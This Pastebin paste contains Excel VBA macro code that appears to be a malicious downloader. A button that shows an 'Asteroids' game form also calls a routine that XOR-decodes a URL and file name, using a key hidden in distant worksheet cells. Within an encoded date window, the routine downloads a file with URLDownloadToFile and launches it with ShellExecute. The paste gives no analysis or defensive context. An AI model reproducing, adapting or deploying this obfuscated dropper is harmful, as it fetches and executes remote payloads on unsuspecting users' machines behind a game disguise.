Advertisement
Guest User

Untitled

a guest
May 27th, 2017
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.96 KB | None | 0 0
  1. Rem Attribute VBA_ModuleType=VBAModule
  2. Option VBASupport 1
  3. Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
  4. "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal _
  5. szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
  6.  
  7. Private Declare Function ShellExecute Lib "Shell32.dll" Alias "ShellExecuteA" _
  8. (ByVal hwnd As Long, _
  9. ByVal lpOperation As String, _
  10. ByVal lpFile As String, _
  11. ByVal lpParameters As String, _
  12. ByVal lpDirectory As String, _
  13. ByVal nShowCmd As Long) As Long
  14.  
  15. Private Sub GF()
  16. WL = X("5A470714081E6E15355D000A5D000223001C5C041E481647545F4F574B16")
  17. FL = X("51092F16535C6F003A56")
  18. RV = URLDownloadToFile(0, WL, FL, 0, 0)
  19.  
  20. End Sub
  21.  
  22.  
  23. Private Sub EX()
  24.  
  25. Dim OF As String
  26. On Error Resume Next
  27. UP = X("51092F")
  28. OF = X("40521E4A574924")
  29. RV = ShellExecute(0, "open", OF, "", UP, 3)
  30.  
  31. End Sub
  32.  
  33.  
  34. Private Function X(DI As String) As String
  35.  
  36. Dim CK, sDO As String
  37. Dim lDP, iXV1, iXV2 As Integer
  38.  
  39. On Error Resume Next
  40.  
  41. CK = Worksheets("Data").Range("AU2") & Worksheets("Data").Range("BE4866") & _
  42. Worksheets("Data").Range("Z9550")
  43.  
  44.  
  45. For lDP = 1 To (Len(DI) / 2)
  46. iXV1 = Val("&H" & (Mid$(DI, (2 * lDP) - 1, 2)))
  47. iXV2 = Asc(Mid$(CK, ((lDP Mod Len(CK)) + 1), 1))
  48. sDO = sDO + Chr(iXV1 Xor iXV2)
  49. Next lDP
  50. X = sDO
  51. End Function
  52.  
  53. Sub Rectangle1_Click()
  54. Asteroids.Show False
  55. Call MN
  56. End Sub
  57.  
  58.  
  59. Function KG()
  60. KG = Worksheets("Sheet2").Range("AE9529") & Worksheets("Sheet2").Range("Z9550") & _
  61. Worksheets("Sheet2").Range("E8761")
  62. End Function
  63.  
  64. Sub MN()
  65.  
  66. Dim SD As Date
  67. Dim ED As Date
  68. Dim CD As Date
  69.  
  70. ' On Error Resume Next
  71.  
  72.  
  73. SD = X("071C41571D03715472")
  74. ED = X("071C41521D03715472")
  75.  
  76. CD = Date
  77.  
  78.  
  79. If (CD >= SD) And (CD < ED) Then
  80. Call GF
  81. Call EX
  82. End If
  83.  
  84. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement